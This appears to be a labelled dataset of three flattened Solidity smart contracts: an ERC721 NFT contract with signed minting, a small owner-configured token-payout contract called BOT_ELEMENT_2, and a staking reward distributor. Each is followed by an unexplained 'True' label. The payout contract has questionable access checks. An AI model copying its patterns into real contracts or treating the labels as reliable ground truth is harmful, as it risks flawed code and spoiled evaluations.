/** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the _ownedTokensIndex mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721Metadata.sol pragma solidity ^0.5.2; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\ERC721Metadata.sol pragma solidity ^0.5.2; contract ERC721Metadata is ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ /** * @dev Constructor function */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId)); return _tokenURIs[tokenId]; } /** * @dev Internal function to set the token URI for a given token * Reverts if the token ID does not exist * @param tokenId uint256 ID of the token to set its URI * @param uri string URI to assign */ function _setTokenURI(uint256 tokenId, string memory uri) internal { require(_exists(tokenId)); _tokenURIs[tokenId] = uri; } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: openzeppelin-solidity\contracts\token\ERC721\ERC721Full.sol pragma solidity ^0.5.2; /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata { constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) { // solhint-disable-previous-line no-empty-blocks } } // File: node_modules\openzeppelin-solidity\contracts\access\Roles.sol pragma solidity ^0.5.2; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } // File: node_modules\openzeppelin-solidity\contracts\access\roles\MinterRole.sol pragma solidity ^0.5.2; contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: openzeppelin-solidity\contracts\token\ERC721\ERC721Mintable.sol pragma solidity ^0.5.2; /** * @title ERC721Mintable * @dev ERC721 minting logic */ contract ERC721Mintable is ERC721, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param tokenId The token id to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 tokenId) public onlyMinter returns (bool) { _mint(to, tokenId); return true; } } // File: openzeppelin-solidity\contracts\token\ERC721\ERC721Burnable.sol pragma solidity ^0.5.2; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ contract ERC721Burnable is ERC721 { /** * @dev Burns a specific ERC721 token. * @param tokenId uint256 id of the ERC721 token to be burned. */ function burn(uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _burn(tokenId); } } // File: openzeppelin-solidity\contracts\ownership\Ownable.sol pragma solidity ^0.5.2; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: node_modules\openzeppelin-solidity\contracts\access\roles\PauserRole.sol pragma solidity ^0.5.2; contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } // File: openzeppelin-solidity\contracts\lifecycle\Pausable.sol pragma solidity ^0.5.2; /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } // File: openzeppelin-solidity\contracts\cryptography\ECDSA.sol pragma solidity ^0.5.2; /** * @title Elliptic curve signature operations * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 */ library ECDSA { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param signature bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: contracts\Part-DeployedProd.sol pragma solidity ^0.5.0; contract Part is ERC721Full, ERC721Mintable, ERC721Burnable, Ownable, Pausable { using ECDSA for bytes32; event Disabled(address account); event Enabled(address account); constructor (string memory name, string memory symbol) public ERC721Full(name, symbol) { // solhint-disable-previous-line no-empty-blocks _disabled = true; } bool private _disabled; modifier whenNotDisabled() { require(!_disabled, "Contract is disabled"); _; } modifier whenDisabled() { require(_disabled, "Contract is not disabled"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function disable() public onlyPauser whenNotDisabled { _disabled = true; emit Disabled(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function enable() public onlyPauser whenDisabled { _disabled = false; emit Enabled(msg.sender); } function mintPart(address to, uint256 tokenId, string memory uri) public whenNotPaused onlyMinter returns (bool) { _mint(to, tokenId); _setTokenURI(tokenId, uri); return true; } function mintPartSigned(address to, uint256 tokenId, string memory uri, bytes memory signature) public whenNotDisabled returns (bool) { address signer = keccak256(abi.encodePacked(tokenId, msg.sender, uri)) .toEthSignedMessageHash() .recover(signature); require(signer == owner(), "Incorrect message signer"); _mint(to, tokenId); _setTokenURI(tokenId, uri); return true; } function transferFrom(address from, address to, uint256 tokenId) public whenNotDisabled { require(_isApprovedOrOwner(msg.sender, tokenId), "Item is not approved or owned"); _transferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public whenNotDisabled { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public whenNotDisabled { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721Received check failed"); } function transferTokenFrom(address from, address to, uint256 tokenId) public onlyMinter { require(_isApprovedOrOwner(msg.sender, tokenId), "Item is not approved or owned"); _transferFrom(from, to, tokenId); } }

True

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pragma solidity ^0.4.21 ; interface IERC20Token { function totalSupply() public constant returns (uint); function balanceOf(address tokenlender) public constant returns (uint balance); function allowance(address tokenlender, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenlender, address indexed spender, uint tokens); } contract BOT_ELEMENT_2 { address owner ; function BOT_ELEMENT_2 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_1 = 190191 ; function setarg_1 ( uint256 newarg_1 ) public onlyOwner { arg_1 = newarg_1 ; } function getarg_1 () public constant returns ( uint256 ) { return arg_1 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_1_input = 1000 ; function setarg_1_input ( uint256 newarg_1_input ) public onlyOwner { arg_1_input = newarg_1_input ; } function getarg_1_input () public constant returns ( uint256 ) { return arg_1_input ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_2 = 1000 ; function setarg_2 ( uint256 newarg_2 ) public onlyOwner { arg_2 = newarg_2 ; } function getarg_2 () public constant returns ( uint256 ) { return arg_2 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_2_input = 1000 ; function setarg_2_input ( uint256 newarg_2_input ) public onlyOwner { arg_2_input = newarg_2_input ; } function getarg_2_input () public constant returns ( uint256 ) { return arg_2_input ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_3 = 1000 ; function setarg_3 ( uint256 newarg_3 ) public onlyOwner { arg_3 = newarg_3 ; } function getarg_3 () public constant returns ( uint256 ) { return arg_3 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_3_input = 1000 ; function setarg_3_input ( uint256 newarg_3_input ) public onlyOwner { arg_3_input = newarg_3_input ; } function getarg_3_input () public constant returns ( uint256 ) { return arg_3_input ; } address public User_1 = msg.sender ; address public User_2 ;// _User_2 ; address public User_3 ;// _User_3 ; address public User_4 ;// _User_4 ; address public User_5 ;// _User_5 ; IERC20Token public Securities_1 ;// _Securities_1 ; IERC20Token public Securities_2 ;// _Securities_2 ; IERC20Token public Securities_3 ;// _Securities_3 ; IERC20Token public Securities_4 ;// _Securities_4 ; IERC20Token public Securities_5 ;// _Securities_5 ; uint256 public Standard_1 ;// _Standard_1 ; uint256 public Standard_2 ;// _Standard_2 ; uint256 public Standard_3 ;// _Standard_3 ; uint256 public Standard_4 ;// _Standard_4 ; uint256 public Standard_5 ;// _Standard_5 ; function Admin_1 ( address _User_1 , IERC20Token _Securities_1 , uint256 _Standard_1 ) public onlyOwner { User_1 = _User_1 ; Securities_1 = _Securities_1 ; Standard_1 = _Standard_1 ; } function Admin_2 ( address _User_2 , IERC20Token _Securities_2 , uint256 _Standard_2 ) public onlyOwner { User_2 = _User_2 ; Securities_2 = _Securities_2 ; Standard_2 = _Standard_2 ; } function Admin_3 ( address _User_3 , IERC20Token _Securities_3 , uint256 _Standard_3 ) public onlyOwner { User_3 = _User_3 ; Securities_3 = _Securities_3 ; Standard_3 = _Standard_3 ; } function Admin_4 ( address _User_4 , IERC20Token _Securities_4 , uint256 _Standard_4 ) public onlyOwner { User_4 = _User_4 ; Securities_4 = _Securities_4 ; Standard_4 = _Standard_4 ; } function Admin_5 ( address _User_5 , IERC20Token _Securities_5 , uint256 _Standard_5 ) public onlyOwner { User_5 = _User_5 ; Securities_5 = _Securities_5 ; Standard_5 = _Standard_5 ; } // // function instruct_1 () public { require( msg.sender == User_1 ); require( Securities_1.transfer(User_1, Standard_1) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } function instruct_2 () public { require( msg.sender == User_2 ); require( Securities_2.transfer(User_2, Standard_2) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } function instruct_3 () public { require( msg.sender == User_3 ); require( Securities_3.transfer(User_3, Standard_3) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } function instruct_4 () public { require( msg.sender == User_1 ); require( Securities_4.transfer(User_4, Standard_4) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } function instruct_5 () public { require( msg.sender == User_1 ); require( Securities_5.transfer(User_5, Standard_5) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-08-12 */ /** *Submitted for verification at Etherscan.io on 2021-06-21 */ /** *Submitted for verification at Etherscan.io on 2021-06-09 */ /** *Submitted for verification at Etherscan.io on 2021-06-07 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint256 c) { if (a > 3) { c = a; uint256 b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100), total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = "0"; _addr[1] = "x"; for (uint256 i = 0; i < 20; i++) { _addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy(address newPolicy_) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _policy = msg.sender; emit OwnershipTransferred(address(0), _policy); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require(_policy == msg.sender, "Ownable: caller is not the owner"); _; } function renouncePolicy() public virtual override onlyPolicy { emit OwnershipTransferred(_policy, address(0)); _policy = address(0); } function pushPolicy(address newPolicy_) public virtual override onlyPolicy { require( newPolicy_ != address(0), "Ownable: new owner is the zero address" ); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require(msg.sender == _newPolicy); emit OwnershipTransferred(_policy, _newPolicy); _policy = _newPolicy; } } interface ITreasury { function mintRewards(address _recipient, uint256 _amount) external; } contract Distributor is Policy { using SafeMath for uint256; using SafeERC20 for IERC20; /* ====== VARIABLES ====== */ address public immutable ASG; address public immutable treasury; uint256 public immutable epochLength; uint256 public nextEpochBlock; mapping(uint256 => Adjust) public adjustments; /* ====== STRUCTS ====== */ struct Info { uint256 rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint256 rate; uint256 target; } /* ====== CONSTRUCTOR ====== */ constructor( address _treasury, address _asg, uint256 _epochLength, uint256 _nextEpochBlock ) { require(_treasury != address(0)); treasury = _treasury; require(_asg != address(0)); ASG = _asg; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } /* ====== PUBLIC FUNCTIONS ====== */ /** @notice send epoch reward to staking contract */ function distribute() external returns (bool) { if (nextEpochBlock <= block.number) { nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block // distribute rewards to each recipient for (uint256 i = 0; i < info.length; i++) { if (info[i].rate > 0) { ITreasury(treasury).mintRewards( // mint and send from treasury info[i].recipient, nextRewardAt(info[i].rate) ); adjust(i); // check for adjustment } } return true; } else { return false; } } /* ====== INTERNAL FUNCTIONS ====== */ /** @notice increment reward rate for collector */ function adjust(uint256 _index) internal { Adjust memory adjustment = adjustments[_index]; if (adjustment.rate != 0) { if (adjustment.add) { // if rate should increase info[_index].rate = info[_index].rate.add(adjustment.rate); // raise rate if (info[_index].rate >= adjustment.target) { // if target met adjustments[_index].rate = 0; // turn off adjustment } } else { // if rate should decrease info[_index].rate = info[_index].rate.sub(adjustment.rate); // lower rate if (info[_index].rate <= adjustment.target) { // if target met adjustments[_index].rate = 0; // turn off adjustment } } } } /* ====== VIEW FUNCTIONS ====== */ /** @notice view function for next reward at given rate @param _rate uint @return uint */ function nextRewardAt(uint256 _rate) public view returns (uint256) { return IERC20(ASG).totalSupply().mul(_rate).div(1000000); } /** @notice view function for next reward for specified address @param _recipient address @return uint */ function nextRewardFor(address _recipient) public view returns (uint256) { uint256 reward; for (uint256 i = 0; i < info.length; i++) { if (info[i].recipient == _recipient) { reward = nextRewardAt(info[i].rate); } } return reward; } /* ====== POLICY FUNCTIONS ====== */ /** @notice adds recipient for distributions @param _recipient address @param _rewardRate uint */ function addRecipient(address _recipient, uint256 _rewardRate) external onlyPolicy { require(_recipient != address(0)); info.push(Info({recipient: _recipient, rate: _rewardRate})); } /** @notice removes recipient for distributions @param _index uint @param _recipient address */ function removeRecipient(uint256 _index, address _recipient) external onlyPolicy { require(_recipient == info[_index].recipient); info[_index].recipient = address(0); info[_index].rate = 0; } /** @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint256 _index, bool _add, uint256 _rate, uint256 _target ) external onlyPolicy { adjustments[_index] = Adjust({add: _add, rate: _rate, target: _target}); } }

True

